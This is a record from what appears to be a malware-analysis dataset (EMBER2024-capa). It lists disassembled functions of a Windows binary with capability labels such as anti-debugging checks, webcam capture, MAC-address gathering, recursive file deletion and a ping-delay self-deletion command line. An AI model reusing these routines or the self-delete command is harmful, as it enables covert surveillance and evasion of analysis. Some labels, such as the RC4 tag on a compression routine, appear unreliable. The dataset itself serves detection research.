joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45c000
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x45c033
push esi
call fcn.0046a3c0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x45c02c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x45c0b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x45c0a2
mov eax, dword [esi + 8]
test eax, eax
je 0x45c057
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x45c09e
cmp eax, 2
je 0x45c0a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x45c04a
cmp eax, 3
je 0x45c07d
cmp eax, 1
jne 0x45c04a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x45c04a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x45c04a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0045c0e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x45c0c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0045c0e0
add esp, 4
pop esi
ret

Function at 0x45c960
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x45c981
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x45c981
mov eax, dword [eax + 0x44]
test eax, eax
je 0x45c981
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x477bd0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x477c73
test eax, eax
jbe 0x477c73
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x477c73
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x477c1e
xor esi, esi
jmp 0x477c24
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x477c4f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0047be50
add esi, eax
push esi
mov ebx, esi
call fcn.0047be50
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x477c30
pop ebp
test edi, edi
pop edi
jne 0x477c73
test ebx, ebx
je 0x477c73
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0048a0e0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x477d95
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x477ead
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x477ead
mov eax, dword [esi + 0x3c]
push eax
call fcn.0049c19a
mov esi, eax
test esi, esi
je 0x477ead
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x477ead
mov ecx, esi
call fcn.00477d20
cmp edi, eax
jge 0x477ead
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x477e33
mov dword [esp + 0x34], 1
jmp 0x477e8e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x477ead
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.004772a0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x47dd70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x47ddd6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x47ddd6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x47ddb7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x47e160
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x47e198
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x47edc0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x47ee09
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x47f280
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4abe20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0047ee30
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0047eeb0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0047eeb0
lea ecx, [esi + 0xc]
call fcn.0049a60f
lea ecx, [esi + 0x10]
call fcn.0049a60f
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00480440
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00480440
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00480440
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0049a684
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0049a684
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x49cb3e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x49cb76
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0049ab2b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0049ab03
jmp 0x49cb82
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x49e230
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x49e272
call fcn.004a4223
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x49e272
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x49e269
xor eax, eax
jmp 0x49e27a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0049e280
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a4753
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a4781
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a479f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a46b9
jmp 0x4a479f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a479f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a46b9
test edi, edi
mov eax, edi
jne 0x4a4789
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401f00
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x4ad2d0]
xor eax, ebp
mov dword [ebp - 8], eax
push edi
mov byte [ebp - 0x120], 0
push 0x103
push 0
lea eax, [ebp - 0x11f]
push eax
call fcn.00499430
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
push 0x4ab1bc
lea edx, [ebp - 0x120]
push edx
call fcn.00491923
add esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
add ecx, 1
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x124]
mov al, byte [edx]
mov byte [ebp - 0x129], al
add dword [ebp - 0x124], 1
cmp byte [ebp - 0x129], 0
jne 0x401f61
mov ecx, dword [ebp - 0x124]
sub ecx, dword [ebp - 0x128]
mov dword [ebp - 0x130], ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x130]
movsx eax, byte [edx - 1]
cmp eax, 0x5c
je 0x401fde
mov ecx, dword [ebp + 8]
add ecx, 0xffffffff
mov dword [ebp - 0x134], ecx
mov edx, dword [ebp - 0x134]
mov al, byte [edx + 1]
mov byte [ebp - 0x135], al
add dword [ebp - 0x134], 1
cmp byte [ebp - 0x135], 0
jne 0x401faf
mov edi, dword [ebp - 0x134]
mov cx, word [0x4ab1c0]
mov word [edi], cx
push 0x4ab1c4
lea edx, [ebp - 0x120]
push edx
call fcn.00491a82
add esp, 8
mov dword [0x4bcc7c], eax
cmp dword [0x4bcc7c], 0
jne 0x402007
xor eax, eax
jmp 0x4020c0
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00401870
add esp, 8
mov ecx, dword [0x4bcc7c]
push ecx
call fcn.00491b10
add esp, 4
mov byte [ebp - 0x14], 0
xor edx, edx
mov dword [ebp - 0x13], edx
mov dword [ebp - 0xf], edx
mov byte [ebp - 0xb], dl
push 0x5c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401850
add esp, 8
add eax, 1
push eax
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4ab1c8
push 0x2e
lea edx, [ebp - 0x14]
push edx
call fcn.00401850
add esp, 8
add eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.dkwero38oerAt_
mov eax, dword [ebp + 0xc]
push eax
call fcn.00491210
add esp, 8
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.004912a0
add esp, 0xc
mov ecx, dword [ebp - 4]
push ecx
call fcn.004912e0
add esp, 4
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop edi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00491914
mov esp, ebp
pop ebp
ret
Function at 0x4020d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x4ad2d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x11], 0x62
mov eax, dword [0x4ab1e0]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], cx
movsx edx, byte [ebp - 0x11]
cmp edx, 0x7a
jg 0x4021a7
mov al, byte [ebp - 0x11]
add al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x11]
mov byte [ebp - 0x10], cl
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x402131
jmp 0x4020f8
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 2
jb 0x4021a2
cmp dword [ebp - 0x124], 4
jbe 0x402155
jmp 0x4021a2
mov byte [ebp - 0x120], 0
push 0x103
push 0
lea ecx, [ebp - 0x11f]
push ecx
call fcn.00499430
add esp, 0xc
movsx edx, byte [ebp - 0x11]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_c.tmp
lea ecx, [ebp - 0x120]
push ecx
call fcn.00491923
add esp, 0x10
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x10]
push eax
call fcn.00401f00
add esp, 8
jmp 0x4020f8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00491914
mov esp, ebp
pop ebp
ret

Function at 0x4021c0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 4
push 0x11
call fcn.00491c69
add esp, 4
mov dword [ebp - 8], eax
push 0x288
call fcn.00491c69
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4021f5
jmp 0x4022b5
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402221
mov edx, dword [ebp - 0xc]
push edx
call fcn.00491c69
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402221
jmp 0x4022b5
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x4022a9
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + 0x199]
push ecx
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x198]
push eax
mov ecx, dword [ebp - 0x10]
movzx edx, byte [ecx + 0x197]
push edx
mov eax, dword [ebp - 0x10]
movzx ecx, byte [eax + 0x196]
push ecx
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x195]
push eax
mov ecx, dword [ebp - 0x10]
movzx edx, byte [ecx + 0x194]
push edx
push str._02X:_02X:_02X:_02X:_02X:_02X
mov eax, dword [ebp - 8]
push eax
call fcn.00491923
add esp, 0x20
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x4022b5
mov edx, dword [ebp - 4]
push edx
call fcn.00491b8c
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x402a00
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x950
mov eax, dword [0x4ad2d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x548], 0
push 0x3ff
push 0
lea eax, [ebp - 0x547]
push eax
call fcn.00499430
add esp, 0xc
mov byte [ebp - 0x950], 0
push 0x3ff
push 0
lea ecx, [ebp - 0x94f]
push ecx
call fcn.00499430
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push 0x4aaf2c
push 0x103
lea eax, [ebp - 0x548]
push eax
call fcn.004919a0
add esp, 0x10
lea ecx, [ebp - 0x148]
push ecx
lea edx, [ebp - 0x548]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0xffffffff
jne 0x402a94
xor eax, eax
jmp 0x402b35
movsx eax, byte [ebp - 0x11c]
cmp eax, 0x2e
jne 0x402aa2
jmp 0x402b07
lea ecx, [ebp - 0x11c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x4aaf34
push 0x103
lea eax, [ebp - 0x950]
push eax
call fcn.004919a0
add esp, 0x14
cmp dword [ebp - 0x148], 0x10
jne 0x402aeb
lea ecx, [ebp - 0x950]
push ecx
call fcn.00402a00
add esp, 4
lea edx, [ebp - 0x950]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x20
lea eax, [ebp - 0x950]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x950]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x148]
push edx
mov eax, dword [ebp - 0x54c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402a94
mov ecx, dword [ebp - 0x54c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00491914
mov esp, ebp
pop ebp
ret

Function at 0x402e00
Capabilities:
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4ad2d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x218], 0
push 0x103
push 0
lea eax, [ebp - 0x217]
push eax
call fcn.00499430
add esp, 0xc
mov byte [ebp - 0x110], 0
push 0x103
push 0
lea ecx, [ebp - 0x10f]
push ecx
call fcn.00499430
add esp, 0xc
push 0x4bccb0
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x218]
push ecx
push str.CCS__c_ping__n_3_127.0.0.1__NUL__echo_EEEE_____s_
call fcn.0048a5f0
add esp, 4
push eax
push 0x103
lea edx, [ebp - 0x110]
push edx
call fcn.004919a0
add esp, 0x10
push 0x104
lea eax, [ebp - 0x218]
push eax
push str.CCS_ComSpec
call fcn.0048a5f0
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x402eda
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0x218]
push edx
push 0
push 0
call dword [0x4bcc68]
push 0
call fcn.004924fd
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00491914
mov esp, ebp
pop ebp
ret
Function at 0x40a090
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [eax], 0
push 0
push 0x14
call fcn.004071c0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40a0bc
mov eax, 7
jmp 0x40a16a
cmp dword [0x4ae13c], 0
je 0x40a0d6
push 0xc8
call fcn.0040aed0
add esp, 4
test eax, eax
je 0x40a0eb
xor ecx, ecx
mov edx, dword [ebp - 4]
mov dword [edx], ecx
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
jmp 0x40a13b
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
push 0x40a050
push 0
push 0
call fcn.00493b71
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
cmp dword [edx], 0
jne 0x40a13b
xor eax, eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 8], 0
jne 0x40a160
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 0x10]
push edx
call dword [ebp + 0xc]
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov dword [edx], eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4170d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov eax, dword [ebp + 8]
cmp dword [eax + 0x88], 0
je 0x417120
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x88]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
mov dword [edx + 0x88], ecx
mov edx, dword [ebp - 4]
mov dword [edx + 0x10], 0
xor eax, eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x4171ae
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x8c]
add ecx, 0x28
xor edx, edx
push edx
push ecx
call fcn.004076e0
add esp, 8
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
cmp dword [ebp - 4], 0
jne 0x417181
mov edx, dword [ebp + 0x10]
push edx
mov ecx, dword [ebp + 0xc]
sub ecx, 1
xor esi, esi
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x98]
cdq
push edx
push eax
push esi
push ecx
call fcn.0049e840
push edx
push eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
call fcn.004063a0
add esp, 0x10
mov eax, 7
jmp 0x4171d1
mov edx, dword [ebp - 4]
add edx, 0x28
mov eax, dword [ebp - 4]
mov dword [eax + 8], edx
mov ecx, 0x20
mov edx, dword [ebp - 4]
mov word [edx + 0x1c], cx
mov eax, 1
mov ecx, dword [ebp - 4]
mov word [ecx + 0x1e], ax
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 0x14], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x18], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x78]
add eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x78], eax
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x48cd00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0xc], 1
jl 0x48cd18
cmp dword [ebp + 0xc], 8
jg 0x48cd18
mov byte [ebp - 5], 1
jmp 0x48cd1c
mov byte [ebp - 5], 0
push str.bad_pack_level
movzx eax, byte [ebp - 5]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0048a8b0
add esp, 0xc
mov edx, dword [ebp + 8]
mov dword [edx + 0x6af78], 0
mov eax, dword [ebp + 8]
cmp dword [eax + 0x6af70], 0
jne 0x48cd65
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af78], 1
mov edx, dword [ebp + 8]
mov dword [edx + 0x6af70], 0x10000
mov eax, dword [ebp + 8]
mov dword [eax + 0x6af6c], 0
push 0x1fffc
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x4af70
push ecx
call fcn.004029d0
add esp, 0xc
mov edx, dword [ebp + 0xc]
movzx eax, word [edx*8 + 0x4a5dba]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af98], eax
mov edx, dword [ebp + 0xc]
movzx eax, word [edx*8 + 0x4a5db8]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af9c], eax
mov edx, dword [ebp + 0xc]
movzx eax, word [edx*8 + 0x4a5dbc]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6afa0], eax
mov edx, dword [ebp + 0xc]
movzx eax, word [edx*8 + 0x4a5dbe]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af94], eax
cmp dword [ebp + 0xc], 2
jg 0x48cdf2
mov edx, dword [ebp + 0x10]
movzx eax, word [edx]
or eax, 4
mov ecx, dword [ebp + 0x10]
mov word [ecx], ax
jmp 0x48ce07
cmp dword [ebp + 0xc], 8
jl 0x48ce07
mov edx, dword [ebp + 0x10]
movzx eax, word [edx]
or eax, 2
mov ecx, dword [ebp + 0x10]
mov word [ecx], ax
mov edx, dword [ebp + 8]
mov dword [edx + 0x6af84], 0
mov eax, dword [ebp + 8]
mov dword [eax + 0x6af74], 0
mov dword [ebp - 4], 0x8000
mov ecx, dword [ebp - 4]
shl ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
add eax, 0x1af70
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
call eax
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af90], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x6af90], 0
je 0x48ce6d
mov eax, dword [ebp + 8]
cmp dword [eax + 0x6af90], 0xffffffff
jne 0x48ce89
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af8c], 1
mov edx, dword [ebp + 8]
mov dword [edx + 0x6af90], 0
jmp 0x48cf01
mov eax, dword [ebp + 8]
mov dword [eax + 0x6af8c], 0
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x6af90], 0x106
jae 0x48ceb1
mov edx, dword [ebp + 8]
push edx
call fcn.0048d290
add esp, 4
mov eax, dword [ebp + 8]
mov dword [eax + 0x6af7c], 0
mov dword [ebp - 4], 0
jmp 0x48ced0
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 2
jae 0x48cf01
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x6af7c]
shl eax, 5
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movzx edx, byte [ecx + 0x1af70]
xor eax, edx
and eax, 0x7fff
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af7c], eax
jmp 0x48cec7
mov esp, ebp
pop ebp
ret